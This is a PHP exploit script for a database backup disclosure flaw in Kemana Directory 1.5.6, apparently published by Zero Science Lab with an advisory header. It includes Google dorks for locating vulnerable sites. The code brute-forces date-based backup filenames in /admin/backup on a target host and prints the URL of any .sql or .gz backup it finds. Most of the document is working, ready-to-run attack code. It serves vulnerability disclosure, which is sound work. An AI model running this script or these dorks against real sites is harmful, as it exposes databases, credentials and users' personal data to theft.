<?php   /*   Kemana Directory 1.5.6 Database Backup Disclosure Exploit     Vendor: C97net Product web page: http://www.c97.net Affected version: 1.5.6   Summary: Experience the ultimate directory script solution with Kemana. Create your own Yahoo or Dmoz easily with Kemana. Unique Kemana's features including: CMS engine based on our qEngine, multiple directories support, user friendly administration control panel, easy to use custom fields, unsurpassed flexibility.   Desc: Kemana stores database backups using the Backup DB tool with a predictable file name inside the '/admin/backup' directory as '_Full Backup YYYYMMDD_1.sql' or '_Full Backup YYYYMMDD_1.gz', which can be exploited to disclose sensitive information by downloading the file. The '/admin/backup' is also vulnerable to directory listing by default.     Tested on: Apache/2.4.7 (Win32)            PHP/5.5.6            MySQL 5.6.14     Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                             @zeroscience     Advisory ID: ZSL-2014-5176 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5176.php     Dork #1: intitle:powered by c97.net Dork #2: intitle:powered by qEngine Dork #3: intitle:powered by Kemana.c97.net Dork #4: intitle:powered by Cart2.c97.net       07.03.2014   */     error_reporting(0);   function status($done, $total, $size=20) {     static $start_time;     if($done > $total) return;     if(empty($start_time)) $start_time=time();       $now = time();     $perc=(double)($done/$total);     $bar=floor($perc*$size);       $disp=number_format($perc*100, 0);        $status_bar="\r $disp% [";     $status_bar.=str_repeat("=", $bar);     if($bar<$size)     {         $status_bar.=">";         $status_bar.=str_repeat(" ", $size-$bar);     } else         {             $status_bar.="=";         }           $status_bar.="] $done/$total";        $rate = ($now-$start_time)/$done;     $left = $total - $done;     $eta = round($rate * $left, 2);     $elapsed = $now - $start_time;        $status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";        echo "$status_bar ";     flush();        if($done == $total)     {         echo "\n";     } }   print "  @---------------------------------------------------------------@  |                                                               |  |   Kemana Directory 1.5.6 Database Backup Disclosure Exploit   |  |                                                               |  |                                                               |  |              Copyleft (c) 2014, Zero Science Lab              |  |                                                               |  |                   Advisory ID: ZSL-2014-5176                  |  |                       www.zeroscience.mk                      |  |                                                               |  @---------------------------------------------------------------@       ";   if ($argc < 4) {     print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";     print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";     die(); }   $godina_array = array('2014','2013','2012','2011','2010');   $mesec_array = array('12','11','10','09',                      '08','07','06','05',                      '04','03','02','01');   $dn_array = array('31','30','29','28','27','26',                   '25','24','23','22','21','20',                   '19','18','17','16','15','14',                   '13','12','11','10','09','08',                   '07','06','05','04','03','02',                   '01');   $host = $argv[1]; $port = intval($argv[2]); $path = $argv[3]; $dbnm = "Full%20Backup%20";   $alert1 = "\033[1;31m"; $alert2 = "\033[0;37m"; $alert3 = "\033[1;32m";   echo "\n [*] Running checks:\n\n";   foreach($godina_array as $godina) {     foreach($mesec_array as $mesec)     {         $x++;         status($x, 58);         foreach($dn_array as $dn)         {             $ext=".gz";             if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))             {                 echo "\n";                 echo $alert1;                 print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";                 echo $alert2;                 print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";                 print " Full URL:\x20";                 echo $alert3;                 die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");             }             $ext=".sql";             if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext))             {                 echo "\n";                 echo $alert1;                 print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";                 echo $alert2;                 print " Filename: '_Full Backup ".$godina.$mesec.$dn."_1".$ext."'\n";                 print " Full URL:\x20";                 echo $alert3;                 die("http://".$host.":".$port."/".$path."/admin/backup/_".$dbnm.$godina.$mesec.$dn."_1".$ext."\n\n");             }         }     } }   print "\n\n [*] Zero findings!\n\n\n";   ?>